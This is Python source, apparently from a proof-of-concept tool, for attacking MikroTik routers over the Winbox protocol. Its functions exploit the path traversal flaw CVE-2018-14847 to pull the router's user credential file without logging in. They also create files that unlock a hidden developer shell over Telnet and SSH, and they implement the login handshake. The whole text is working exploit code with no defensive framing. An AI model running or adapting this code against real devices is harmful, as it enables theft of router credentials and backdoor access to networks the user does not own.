def create_file(ip, port, username, password): """ This function creates the file /pckg/option on the target. This will enable the developer login on Telnet and SSH. Oddly, you'll first need to log in to Telnet for SSH to work, but I digress... :param ip: the ip address of the router :param port: the port of the jsproxy we'll connect to :param username: the username we'll authenticate with :param password: the password we'll authenticate with :return: True if we successfully created the file. """ session = WinboxSession(ip, port) if not session.connect(): print("[!] Failed to connect to the remote host.") return False session_id = 0 if not session.login(username, password, session_id): print("[-] Login failed.") return False print("[+] Creating /pckg/option on {}:{}".format(ip, port)) msg = WinboxMessage() msg.set_to(2, 2) msg.set_command(1) msg.set_request_id(1) msg.set_reply_expected(True) msg.set_session_id(session_id) msg.add_string(1, "//./.././.././../pckg/option") session.send(msg) msg = session.receive() if msg.has_error(): print("[-]", msg.get_error_string()) return False print("[+] Creating /flash/nova/etc/devel-login on {}:{}".format(ip, port)) msg.reset() msg.set_to(2, 2) msg.set_command(1) msg.set_request_id(2) msg.set_reply_expected(True) msg.set_session_id(session_id) msg.add_string(1, "//./.././.././../flash/nova/etc/devel-login") session.send(msg) msg = session.receive() if msg.has_error(): print("[-]", msg.get_error_string()) return False return True
def get_user_dat(ip, port): """ This function uses the file disclosure vulnerability, CVE-2018-14847, to download the user database from /flash/rw/store/user.dat :param ip: the address of the router to connect to :param port: the winbox port to connect to :return: a string containing the user.dat data or an empty string on error """ print("[+] Attempting to connect to {}:{}".format(ip, port)) session = WinboxSession(ip, port) if not session.connect(): print("[!] Failed to connect to the remote host.") return "" # open user.dat file print("[+] Extracting user.dat...") msg = WinboxMessage() msg.set_to(2, 2) msg.set_command(7) msg.set_request_id(1) msg.set_reply_expected(True) msg.add_string(1, "//./.././.././../flash/rw/store/user.dat") session.send(msg) msg = session.receive() if not msg: print("[!] Error receiving an open file response.") return "" session_id = msg.get_session_id() file_size = msg.get_u32(2) if file_size == 0: print("[!] File size is 0.") return "" # read the user.dat file msg.reset() msg.set_to(2, 2) msg.set_command(4) msg.set_request_id(2) msg.set_reply_expected(True) msg.set_session_id(session_id) msg.add_u32(2, file_size) session.send(msg) msg = session.receive() if not msg: print("[!] Error receiving a file content response.") return "" return msg.get_raw(0x03)
def login(self, username, password, session_id): """ Login to the Mikrotik router. Performs Challenge exchage authentication :param username: router user name :param password: router user password :param session_id: session it to connect :return: False if failed, session_id if success """ # request the challenge msg = WinboxMessage() msg.set_to(13, 4) msg.set_command(4) msg.set_request_id(2) msg.set_session_id(session_id) msg.set_reply_expected(True) if not self.send(msg): return False msg = self.receive() if not msg or msg.has_error(): print(msg.get_error_string()) return False salt = msg.get_raw(0x9) if len(salt) != 16: msg = self.receive() if not msg | msg.has_error(): print(msg.get_error_string()) return False salt = msg.get_raw(0x9) # generate the challenge response m = hashlib.md5() one = b'\x00' m.update(one) m.update(password.encode()) m.update(salt) hashed = one + m.digest() msg.reset() msg.set_to(13, 4) msg.set_command(1) msg.set_request_id(3) msg.set_session_id(session_id) msg.set_reply_expected(True) msg.add_string(1, username) msg.add_raw(9, salt) msg.add_raw(10, hashed) if not self.send(msg): return False msg = self.receive() if not msg: print("Error receiving a response.") return False if msg.has_error(): print(msg.get_error_string()) return False sess_id = msg.get_session_id() return sess_id